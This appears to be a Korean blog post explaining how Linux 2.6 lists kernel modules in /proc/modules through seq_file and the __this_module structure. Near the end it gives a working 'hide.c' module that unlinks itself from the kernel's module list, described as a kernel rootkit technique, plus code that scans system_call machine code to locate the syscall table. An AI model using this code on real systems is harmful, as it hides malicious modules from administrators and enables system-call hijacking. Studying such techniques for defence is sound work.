create_seq_entry("modules", 0, &proc_modules_operations);seq_file 인터페이스를 사용하니까 create_proc_entry() 대신 create_seq_entry()를 사용합니다. 각 proc 항목은 페이지 하나만 할당해서 사용할 수 있습니다. 즉, 4k 이상의 데이터를 출력할 수 없는데, 이 문제를 극복하고자 seq_file 인터페이스를 도입했습니다.(대부분의 커널 책에서는 소개하지 않고 있는 부분입니다. 개정판이 나온다면 포함시켜보겠습니다)
#ifdef CONFIG_MODULES extern struct seq_operations modules_op; static int modules_open(struct inode *inode, struct file *file) { return seq_open(file, &modules_op); } static struct file_operations proc_modules_operations = { .open = modules_open, .read = seq_read, .llseek = seq_lseek, .release = seq_release, }; #endif이렇게 CONFIG_MODULES로 되어 있기 때문에 커널에서 모듈 지원을 선택하지 않으면 이 부분이 누락됩니다.
const struct seq_operations modules_op = { .start = m_start, .next = m_next, .stop = m_stop, .show = m_show };start 연산이 읽기를 실행할 때 수행되는 루틴, stop 연산은 읽기를 중단할 때 수행되는 연산, next 연산이 4k, 한 페이지를 넘어가는 경우에 페이지를 변경하는 루틴, show 연산은 실제 결과를 화면에 출력하는 루틴입니다.
/* Protects module list */ static DEFINE_SPINLOCK(modlist_lock); /* List of modules, protected by module_mutex AND modlist_lock */ static DEFINE_MUTEX(module_mutex); static LIST_HEAD(modules);잠금을 스핀락과 뮤텍스를 사용해서 관리하고 있고, 연결리스트는 modules로 선언되어 있지만, 심볼이 노출되어 있지는 않습니다.
static void *m_start(struct seq_file *m, loff_t *pos) { struct list_head *i; loff_t n = 0; mutex_lock(&module_mutex); list_for_each(i, &modules) { if (n++ == *pos) break; } if (i == &modules) return NULL; return i; } static void m_stop(struct seq_file *m, void *p) { mutex_unlock(&module_mutex); } static int m_show(struct seq_file *m, void *p) { struct module *mod = list_entry(p, struct module, list); char buf[8]; // 모듈 이름, init 루틴의 크기, core 루틴의 크기 seq_printf(m, "%s %lu", mod->name, mod->init_size + mod->core_size); print_unload_info(m, mod); /* Informative for users. */ seq_printf(m, " %s", mod->state == MODULE_STATE_GOING ? "Unloading": mod->state == MODULE_STATE_COMING ? "Loading": "Live"); /* Used by oprofile and other similar tools. */ seq_printf(m, " 0x%p", mod->module_core); // GPL 라이선스등을 사용하지 않은 모듈인 경우의 처리 /* Taints info */ if (mod->taints) seq_printf(m, " %s", taint_flags(mod->taints, buf)); seq_printf(m, "n"); return 0; }이와 같이 되어 있습니다. 현재 커널을 가리키는 변수명은 __this_module 입니다. 이는 소스 코드에 있는 것이 아니니 ctags, cscope로는 탐색할 수가 없습니다. 커널 2.6을 보면 모듈 빌드 과정에 .mod.c 파일이 생기는데 여기에 선언되는 구조체입니다.
#include__this_module 구조체에 모듈 이름, 초기화, 종료 루틴을 설정합니다. __module_depends[] 배열은 이 모듈이 참조하는 다른 모듈들을 의미합니다. 그러니까, depmod -a 명령으로 모듈간의 의존성 정보등을 업데이트하는 것도 모두 이 부분이 있기 때문에 가능합니다. 역시나 .modinfo 섹션에 이 정보는 등록됩니다.#include #include // 모듈에 커널 버전 정보를 추가 MODULE_INFO(vermagic, VERMAGIC_STRING); struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif }; static const char __module_depends[] __attribute_used__ __attribute__((section(".modinfo"))) = "depends=";
------------------------cut here from hide.c --------------------------- #include종료 루틴은 만들지 않았습니다. 연결리스트에서 자기 자신을 지워버리기 때문에 커널은 모듈이 등록되어 있다는 사실을 모르게 됩니다. 이런 식의 방법을 주로 이용하는 것이 커널 루트킷입니다.#include #include #include int init_module( void ) { struct module *m = &__this_module; if( m->init == init_module ) list_del( &m->list ); return 0; } MODULE_LICENSE( "GPL" ); ------------------------------------------------------------------------
void *get_sys_call_table(void *system_call) { unsigned char *p; unsigned long s_c_t; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) p++; dire_call = (unsigned long) p; p += 3; s_c_t = *((unsigned long *) p); p += 4; after_call = (unsigned long) p; /* cli */ while (*p != 0xfa) p++; dire_exit = (unsigned long) p; return((void *) s_c_t); }크게 다르지는 않습니다. 0x14 번째 떨어진 시스템 콜의 주소를 이용하고 있네요.
이전 글 : 전세계 메일 서버 구분하기
최신 콘텐츠